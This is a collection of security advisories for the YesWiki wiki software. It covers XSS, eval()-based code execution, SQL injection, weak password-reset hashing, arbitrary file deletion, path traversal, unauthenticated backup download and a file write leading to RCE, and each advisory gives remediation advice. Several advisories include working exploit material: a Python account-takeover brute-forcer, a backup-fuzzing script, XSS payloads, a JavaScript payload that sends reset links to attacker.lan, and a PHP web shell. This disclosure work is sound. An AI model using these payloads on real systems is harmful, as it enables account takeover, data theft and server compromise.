See how yeswiki compares to other vendors in security performance
Summary A stored and blind XSS vulnerability exists in the form title field. A malicious attacker can inject JavaScript without any authentication via a form title that is saved in the backend database. When any user visits that injected page, the JavaScript payload gets executed.
Type: Stored and Blind Cross-Site Scripting (XSS) Affected Component: form title input field Authentication Required: No (Unauthenticated attack possible) Impact: Arbitrary JavaScript execution in victim’s browser
Details A Stored XSS vulnerability occurs when an application stores malicious user input (in this case, a script injected via the form title field) in its backend database and renders it later on a page viewed by other users without proper sanitization or encoding.
In this case, the attacker can inject JavaScript payloads in the title field of a form, which the application stores in the database. When any user, such as an admin or another visitor, views the page that displays this title, the malicious script executes in their browser context.
PoC - Visit https://yeswiki.net/?BazaR&vue=formulaire or localhost/?BazaR&vue=formulaire or https://ferme.yeswiki.net/[username]/?BazaR&vue=formulaire - Click on the + icon to add a record via the Diary form. - Inject the payload like: <script>alert(document.cookie)</script> or <script>alert(1)</script> into Name of the event and Description - Then save the record by clicking To validate - The payload will be executed when anyone visits /?BazaR&vue=consulter also in the diary record /?wiki=BazaR&vue=consulter&action=recherche&q=&id=2&facette=
The payload is persistant.
Summary
An unsafe execution vulnerability exists in the Bazar form field calculator (CalcField.php) of YesWiki. The application attempts to sanitize user-defined mathematical formulas using a complex recursive regular expression before passing them to the PHP eval() function. This implementation is inherently flawed: it is vulnerable to Regular Expression Denial of Service (ReDoS / Stack Overflow) which can crash the server, and it creates a high-risk architecture where any logic bypass directly results in arbitrary PHP code execution.
Details
Affected Component - File: tools/bazar/fields/CalcField.php - Method: formatValuesBeforeSave($entry) - Vulnerable Mechanism: Combination of a complex recursive regex validation followed by eval().
The code attempts to implement a sandbox for mathematical operations by verifying the formula structure before executing it:
$regexpToCheckIfMathFormula = '/^((' . $number . '|' . $functions . '\s\((?1)+\)|\((?1)+\))(?:' . $operators . '(?1))?)+$/';
if (pregmatch($regexpToCheckIfMathFormula, $formula)) { $formula = pregreplace('!pi|π!', 'pi()', $formula); try { eval("\$value = $formula;"); // VULNERABLE LINE // ... Architectural Flaws
PCRE Stack Overflow & ReDoS (The Immediate Exploit):
The regex definition heavily relies on a recursive pattern (?1)+. In PHP's PCRE engine, deeply nested recursive patterns are processed on the system stack. If an attacker inputs a formula with thousands of nested parentheses or repeating groups, the engine will either trigger a pcre.recursionlimit exhaust (returning false or null) or cause a Segmentation Fault, instantly crashing the PHP process (Denial of Service).
The "Validation-Before-Substitution" Trap:
The regex checks the $formula variable after it has tokenized and reassembled the input string. If any underlying function called during tokenization (like testEntryValue or future updates to getEntryValue) returns or leaks an unexpected string format, the string structure changes.
Complete Trust in eval():
Using eval() as a math parser means the application's security perimeter relies entirely on a single regular expression. History shows that complex regex sanitizers for script evaluation are consistently bypassed via edge-case syntaxes, character encoding tricks, or PCRE engine bugs.
PoC
Scenario A: Remote Denial of Service (Server Crash)
An attacker with rights to create or edit a Bazar form adds a Calc field and injects a deeply nested recursive mathematical structure.
Payload:
((((((((((((((((((((((((((((((((((((((((((1+1))))))))))))))))))))))))))))))))))))))))))))
(Multiplied by 2000 to 5000 iterations depending on the server's pcre.recursionlimit and stack configuration).
The PCRE engine runs out of stack memory, leading to an immediate crash of the PHP-FPM worker or Apache process handling the request, rendering the service unavailable.
Scenario B: Logical Bypass to RCE
Because eval() executes raw PHP code, if an attacker successfully fuzzes the recursive pattern or exploits an unpatched vulnerability in the specific PCRE library version installed on the host OS, they can slip a PHP payload through the validation block. Payload:
abs(1) + system('id')
If a validation bypass occurs, the string evaluates as native PHP, granting the attacker the privileges of the www-data (web server) user, leading to a full host compromise.
Impact
- Confidentiality: HIGH. Attackers can read sensitive system files (e.g., /etc/passwd, .env configuration files).
- Integrity: HIGH. Attackers can modify application files, inject backdoors, or alter the database content.
- Availability: HIGH. Attackers can easily bring down the web service via the ReDoS/Segmentation Fault vector.
Remediation & Mitigation
- Do not use regular expressions to safe-guard eval(). Instead, replace the execution block with a dedicated, safe Abstract Syntax Tree (AST) math parser or an expression language component that cannot execute system context.
Cross Site Scripting vulnerability in YesWiki v.4.5.4 allows a remote attacker to execute arbitrary code via a crafted payload to the meta configuration robots field.
YesWiki is a wiki system written in PHP. Prior to version 4.6.1, YesWiki bazar module contains a SQL injection vulnerability in tools/bazar/services/EntryManager.php at line 704. The $data['idfiche'] value (sourced from $POST['idfiche']) is concatenated directly into a raw SQL query without any sanitization or parameterization. This issue has been patched in version 4.6.1.
Summary The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.
Details Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :
php private const PWSALT = 'FBcA';
Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :
php protected function generateUserLink($user) { // Generate the password recovery key $key = md5($user['name'] . '' . $user['email'] . randomint(0, 10000) . date('Y-m-d H:i:s') . self::PWSALT);
The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.
Proof of Concept (PoC) To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.
python #!/usr/bin/env python3 -- coding: utf-8 -- Author: Nishacid YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto
from hashlib import md5 from requests import post, get from base64 import b64encode from sys import exit from datetime import datetime from concurrent.futures import ThreadPoolExecutor, ascompleted from argparse import ArgumentParser
Known data salt = 'FBcA' # Hardcoded salt randomrange = 10000 # Range for randomint() WORKERS = 20 # Number of workers
Arguments def parseArgs(): parser = ArgumentParser() parser.addargument("-u", "--username", dest="username", default=None, help="Username of the account", required=True) parser.addargument("-e", "--email", dest="email", default=None, help="Email of the account", required=True) parser.addargument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True) return parser.parseargs()
Reset password request and get timestamp def resetpassword(email: str, domain: str): response = post( f'{domain}?MotDePassePerdu', data={ 'email': email, 'subStep': '1' }, headers={ 'Content-Type': 'application/x-www-form-urlencoded' } ) if response.ok: timestamp = datetime.now() # obtain the timestamp timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S') print(f"[] Requesting link for {email} at {timestamp}") return timestamp else: print("[-] Error while resetting password.") exit()
Generate and check keys def checkkey(randomintval: int, timestampreq: str, domain: str, username: str, email: str): userbase64 = b64encode(username.encode()).decode() data = f"{username}{email}{randomintval}{timestampreq}{salt}" hashcandidate = md5(data.encode()).hexdigest() url = f"{domain}?MotDePassePerdu&a=recover&email={hashcandidate}&u={userbase64}" # print(f"[] Checking {url}") response = get(url) # Check if the link is valid, warning depending on the language if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text: return (True, randomintval, hashcandidate, url) return (False, randomintval, None, None)
def main(timestampreq: str, domain: str, username: str, email: str): # Launch the brute-force print(f"[] Starting brute-force, it can take few minutes...") with ThreadPoolExecutor(maxworkers=WORKERS) as executor: futures = [executor.submit(checkkey, i, timestampreq, domain, username, email) for i in range(randomrange + 1)] for future in ascompleted(futures): success, randomintval, hashcandidate, url = future.result() if success: print(f"[+] Key found ! randomint: {randomintval}, hash: {hashcandidate}") print(f"[+] URL: {url}") exit() else: print("[-] Key not found.")
if name == "main": args = parseArgs() timestampreq = resetpassword(args.email, args.domain) main(timestampreq, args.domain, args.username, args.email)
Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.
bash » python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' [] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48 [] Starting brute-force, it can take few minutes... [+] Key found ! randomint: 9264, hash: 22a2751f50ba74b259818394d34020c9 [+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K
Impact Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.
Recommendation The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use random bytes instead of a random integer.
Unauthenticated DOM Based XSS in YesWiki <= 4.4.5
Summary It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.
This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation
Details The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.
This part of the code is managed by tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:
php $output .= '<div class="alert alert-info">' . "\n"; if ($nbtotal > 1) { $output .= t('TAGSTOTALNBPAGES', ['nbtotal' => $nbtotal]); } elseif ($nbtotal == 1) { $output .= t('TAGSONEPAGEFOUND'); } else { $output .= t('TAGSNOPAGE'); } $output .= (!empty($tabselectedtags) ? ' ' . t('TAGSWITHKEYWORD') . ' ' . implode(' ' . t('TAGSWITHKEYWORDSEPARATOR') . ' ', arraymap(function ($tagName) { return '<span class="tag-label label label-info">' . $tagName . '</span>'; }, $tabselectedtags)) : '') . '.'; $output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n"; $output .= '</div>' . "\n" . $text;
echo $this->Header(); echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hrclear\" />\n</div>\n"; echo $this->Footer();
The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.
PoC 1. Simple XSS Abusing the tags parameter, we can successfully obtain client side javascript execution:
!poc1
2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:
javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); })
Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.
!poc2 !poc3 !poc4
Impact This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.
Suggestion of possible corrective measures - Sanitize properly the tag names when created here
php foreach ($tags as $tag) { trim($tag); if ($tag != '') { if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/vocabulary/tag', htmlspecialchars($tag), '', '')) { $this->tripleStore->create($page, 'http://outils-reseaux.org/vocabulary/tag', htmlspecialchars($tag), '', ''); } //on supprime ce tag du tableau des tags restants a effacer if (isset($tagsrestantsaeffacer)) { unset($tagsrestantsaeffacer[arraysearch($tag, $tagsrestantsaeffacer)]); } } }
- Sanitize the tag names when looked for here
php //$tags = (isset($GET['tags'])) ? $GET['tags'] : ''; $tags = (isset($GET['tags'])) ? htmlspecialchars($GET['tags']) : '';
- Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token
- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.
Authenticated arbitrary file deletion in YesWiki <= 4.4.5
Summary It is possible for any authenticated user, through the use of the filemanager to delete any file owned by the user running the FastCGI Process Manager (FPM) on the host without any limitation on the filesystem's scope.
This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation
Details The vulnerability makes use of the filemanager that allows a user to manage files that are attached to a resource when they have owner permission on it. This part of the code is managed in tools/attach/libs/attach.lib.php
php public function doFileManager($isAction = false) { $do = (isset($GET['do']) && $GET['do']) ? $GET['do'] : ''; switch ($do) { case 'restore': $this->fmRestore(); $this->fmShow(true, $isAction); break; case 'erase': $this->fmErase(); $this->fmShow(true, $isAction); break; case 'del': $this->fmDelete(); $this->fmShow(false, $isAction); break; case 'trash': $this->fmShow(true, $isAction); break; case 'emptytrash': $this->fmEmptyTrash(); //pas de break car apres un emptytrash => retour au gestionnaire // no break default: $this->fmShow(false, $isAction); } }
The fmErase() function doesn't sanitize or verify the path that has been provided by the user in any way. Thus allowing a malicious user to specify any arbitrary file on the filesystem and having it deleted through the use of unlink() (as long as the user that runs the process has permission to delete it).
php public function fmErase() { $path = $this->GetUploadPath(); $filename = $path . '/' . ($GET['file'] ? $GET['file'] : ''); if (fileexists($filename)) { unlink($filename); } }
In addition to this deletion accross all the filesystem through fmErase(), it is also possible to delete any file attached to an existing wiki page, for instance, if user A creates a page and attaches images/documents to it, they always get uploaded to the files/ directory. If user B (malicious), knows the path of the files he can also arbitrarly delete them. (fmDelete() is also impacted by this case)
PoC 1. Environnement setup The following actions have been performed as a privileged user
First, let's create one user (in addition to the WikiAdmin user):
!poc1
Restrict the edition of 'PagePrincipale' wiki page to administrators only:
!poc2
2. Upload of a file on a resource not owned by our user The following actions have been performed as a privileged user
Second, let's upload a media to this PagePrincipale wiki page:
!poc3 !poc4
Then view it in the page's filemanager:
!poc5
We can confirm that our file has been uploaded to the files/ directory by directly looking at the yeswiki container:
!poc5 1
3. Arbitrary deletion (in files/) The following actions have been performed using an unprivileged user
Now, get the full path/name of the media in the files directory by opening it in a new tab:
!poc6
Afterwards, we need an instance of filemanager to be accessible to our user so we need to create a page that we own, here is used the agenda and the creation of a new event:
!poc7
Call the erase method on the PagePrincipale's uploaded media:
!poc
The media is now deleted from PagePrincipale (the button is shown when the attached media doesn't exist, it's an intended behaviour):
!poc9
It has also disappeared from the files/ directory:
!poc10
This behaviour can be applied to any file under the files/ directory.
4. Arbitrary deletion (in /tmp/) The following actions have been performed using a privileged access
Finally, using the same user as the process running the app, we create a file under the /tmp directory:
!poc11
The following actions have been performed using an unprivileged user
We can once again call the erase method using a relative path:
!poc3
The file isn't here anymore:
!poc13
Impact This vulnerability allows any authenticated user to arbitrarly remove content from the Wiki resulting in partial loss of data and defacement/deteroriation of the website. In the context of a container installation of YesWiki without any modification, the 'yeswiki' files (for example .php) are not owned by the same user (root) as the one running the FPM process (www-data). However in a standard installation, www-data may also be the owner of the PHP files, allowing a malicious user to completely cut the access to the wiki by deleting all important PHP files (like index.php or core files of YesWiki).
Suggestion of possible corrective measures
- Restrict the possible paths of fmErase() to the uploadpath directory.
- Restrict the use of fmErase() to trashed files only.
php public function fmErase() { $path = $this->GetUploadPath(); $filename = $this->GetUploadPath() . '/' . basename(realpath(($GET['file'] ? $GET['file'] : ''))); //Sanitize file path if (fileexists($filename) && pregmatch('/trash\d{14}$/', $filename)) { //Make sure that the filename ends with trash and a date unlink($filename); } }
- Make sure that any request to fmErase() or fmDelete() originates from the owner of the resource to which the attachment is linked (asks a bit more than a few lines of code).
Summary The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. The payload ../../../../../../etc/passwd was submitted in the squelette parameter. The requested file was returned in the application's response.
Details File path traversal vulnerabilities arise when user-controllable data is used within a filesystem operation in an unsafe manner. Typically, a user-supplied filename is appended to a directory prefix in order to read or write the contents of a file. If vulnerable, an attacker can supply path traversal sequences (using dot-dot-slash characters) to break out of the intended directory and read or write files elsewhere on the filesystem.
PoC 1. Access the below URL to see the contents of /etc/passwd: URL with payload: https://yeswiki.net/?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css Similarly, contents of wakka.config.php can be read (which contains database password) using ..%2f..%2f..%2fwakka.config.php as payload. Thus showing the severity of this issue.
Impact This is a very serious vulnerability, allowing an attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries. Thus, leading to complete loss of confidentiality.
Authenticated Stored XSS in YesWiki <= 4.4.5
Summary It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.
This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation
Details The vulnerability makes use of the content edition feature and more specifically of the {{attach}} component allowing users to attach files/medias to a page. When a file is attached using the {{attach}} component, if the resource contained in the file attribute doesn't exist, then the server will generate a file upload button containing the filename.
This part of the code is managed in tools/attach/libs/attach.lib.php and the faulty function is showFileNotExits().
php public function showFileNotExits() { echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . t('UPLOADFILE') . ' ' . $this->file . '</a>'; }
The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.
PoC 1. Simple XSS Here is a working payload {{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}} tha works in pages and comments:
On a comment:
!poc1 !poc2
On a page:
!poc3 !poc4
2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:
javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); })
Posting a comment using this specially crafted payload with a user account:
!poc5
Allows our administrator account's password reset link to be sent to the listener of the attacker:
!poc7 !poc8
Therefore giving us access to an successful password reset for any account triggering the XSS:
!poc9
Impact This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.
Suggestion of possible corrective measures - Sanitize properly the filename attribute
php public function showFileNotExits() { $filename = htmlspecialchars($this->file); echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . t('UPLOADFILE') . ' ' . $filename . '</a>'; }
- Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token
- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.
Summary Vulnerable Version: Yeswiki < v4.5.4 Category: Injection CWE: 79: Improper Neutralization of Input During Web Page Generation (CWE-79) CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) Vulnerable Endpoint: /?BazaR Vulnerable Parameter: idformulaire Payload: <script>alert(1)</script>
Details Reflected Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
PoC 1. Visit the endpoint as mentioned below and see that an alert box pops up: URL with Payload: https://yeswiki.net/?BazaR&vue=formulaire&action=confirmdelete&idformulaire=%3cscript%3ealert(1)%3c%2fscript%3e
Impact An attacker can use a reflected cross-site scripting attack to steal cookies from an authenticated user by having them click on a malicious link. Stolen cookies allow the attacker to take over the user’s session. This vulnerability may also allow attackers to deface the website or embed malicious content.
Summary Vulnerable Version: Yeswiki < v4.5.4 Category: Injection CWE: 79: Improper Neutralization of Input During Web Page Generation (CWE-79) CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) Vulnerable Endpoint: /?BazaR/bazariframe Vulnerable Parameter: template Payload: <script>alert(1)</script>
Details Reflected Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
PoC 1. Visit the endpoint as mentioned below and see that an alert box pops up: URL with Payload: https://yeswiki.net/?BazaR/bazariframe&id=2&template=%3cscript%3ealert(1)%3c%2fscript%3e
Impact An attacker can use a reflected cross-site scripting attack to steal cookies from an authenticated user by having them click on a malicious link. Stolen cookies allow the attacker to take over the user’s session. This vulnerability may also allow attackers to deface the website or embed malicious content.
Summary
The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication.
The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated.
Details
Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for:
POST /?api/archives HTTP/1.1 Host: localhost:8085
action=startArchive¶ms%5Bsavefiles%5D=true¶ms%5Bsavedatabase%5D=true&callAsync=true Then to retrieve it, make a simple GET request like to the correct URL: http://localhost:8085/?api/archives/2025-04-12T14-34-01archive.zip A malicious attacker could simply fuzz this filename.
PoC Here is a python script to fuzz this:
#!/usr/bin/env python3
import requests import argparse import datetime import time from urllib.parse import urljoin from email.utils import parsedatetodatetime import urllib3 urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning) Hardcoded proxy config for Burp Suite BURPPROXIES = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" }
def sendpostrequest(baseurl, useproxy=False): url = urljoin(baseurl, "/?api/archives") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", }
data = { "action": "startArchive", "params[savefiles]": "true", "params[savedatabase]": "true", "callAsync": "true" }
proxies = BURPPROXIES if useproxy else None response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False) print(f"[+] Archive start response code: {response.statuscode}")
serverdate = response.headers.get("Date") if serverdate: ts = parsedatetodatetime(serverdate) print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC") return ts else: print("[!] Server did not return a Date header, falling back to local UTC.") return datetime.datetime.utcnow()
def trydownloadfiles(baseurl, timestamp, useproxy=False): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", }
proxies = BURPPROXIES if useproxy else None print("[] Trying to download the archive with timestamp fuzzing (±10 seconds)...")
basets = timestamp + datetime.timedelta(hours=2)
time.sleep(30) # delay to generate the archive
for offset in range(-4, 15): ts = basets + datetime.timedelta(seconds=offset) filename = ts.strftime("%Y-%m-%dT%H-%M-%Sarchive.zip") url = urljoin(baseurl, f"/?api/archives/{filename}") print(f"[>] Trying: {url}") r = requests.get(url, headers=headers, proxies=proxies, verify=False)
if r.statuscode == 200 and r.headers.get("Content-Type", "").startswith("application/zip"): print(f"[✓] Archive found and downloaded: {filename}") with open(filename, "wb") as f: f.write(r.content) return
print("[!] No archive found within the fuzzed window.")
if name == "main": parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.") parser.addargument("host", help="Base host URL, e.g., http://localhost:8085") parser.addargument("-p", "--proxy", action="storetrue", help="Route requests through Burp Suite proxy at 127.0.0.1:8080") args = parser.parseargs()
ts = sendpostrequest(args.host, useproxy=args.proxy) print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")
trydownloadfiles(args.host, ts, useproxy=args.proxy)
Impact
Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives.
Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.
Summary Vulnerable Version: Yeswiki < v4.5.4 Vulnerable Endpoint: /?PagePrincipale%2Fdeletepage Vulnerable Parameter: incomingurl Payload: "><script>alert(1)</script>
Details Reflected Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
PoC NOTE: This vulnerability requires admin access. 1. Visit the endpoint as mentioned below and see that an alert box pops up:
URL with Payload: https://yeswiki.net/?PagePrincipale%2Fdeletepage&incomingurl="><script>alert(1)</script>
Impact An attacker can use a reflected cross-site scripting attack to steal cookies from an authenticated user by having them click on a malicious link. Stolen cookies allow the attacker to take over the user’s session. This vulnerability may also allow attackers to deface the website or embed malicious content.
Summary Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication
This Proof of Concept has been performed using the followings:
- YesWiki v4.5.3 (doryphore-dev branch) - Docker environnment (docker/docker-compose.yml)
Vulnerable code The vulnerability is located in the file public function showUploadForm() { $this->file = $GET['file']; echo '<h3>' . t('ATTACHUPLOADFORMFORFILE') . ' ' . $this->file . "</h3>\n"; echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n" . ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n" . ' <input type="hidden" name="MAXFILESIZE" value="' . $this->attachConfig['maxfilesize'] . "\" />\n" . " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n" . " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n" . ' <input class="btn btn-primary" type="submit" value="' . t('ATTACHSAVE') . "\" />\n" . "</form>\n"; } PoC 1. You need to send a request to endpoint and abusing the file parameter, we can successfully obtain client side javascript execution GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: localhost:8085 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: ru-RU,ru;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive 2. Get a response <img width="853" alt="Снимок экрана 2025-04-11 в 02 04 55" src="https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820" />
Impact This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions
Summary An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.
All testing was performed on a local docker setup running the latest version of the application.
PoC Proof of Concept
Navigate to http://localhost:8085/?LookWiki which allows you to click Create a new Graphical configuration where you specify some parameters and then click Save.
!LookWiki
After clicking save, this request is made (most headers removed for clarity):
POST /?api/templates/custom-presets/test.css HTTP/1.1 Host: localhost:8085
primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif
This request writes the file test.css to disk with the contents (abbreviated) :root { --primary-color: #0c5d6a; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; }
To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to .php and add arbitrary PHP code in for one of the request body parameters.
e.g. primary-color=%3C%3Fphp+system%28%24GET%5B%27cmd%27%5D%29%3B+%3F%3E
Now the file pizzapower.php is written to /var/www/html/custom/css-presets/pizzapower.php and it starts with this, where the PHP code is present.
:root { --primary-color: <?php system($GET['cmd']); ?>; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; }
Then, simply visit the file with a cmd parameter included.
http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id
And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).
:root { --primary-color: uid=501(yeswiki) gid=501 groups=501 ; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } !injection
Impact
Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.
Fixes
Amongst others:
Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature. Harden server config: Disable PHP execution in user-writable directories
Summary
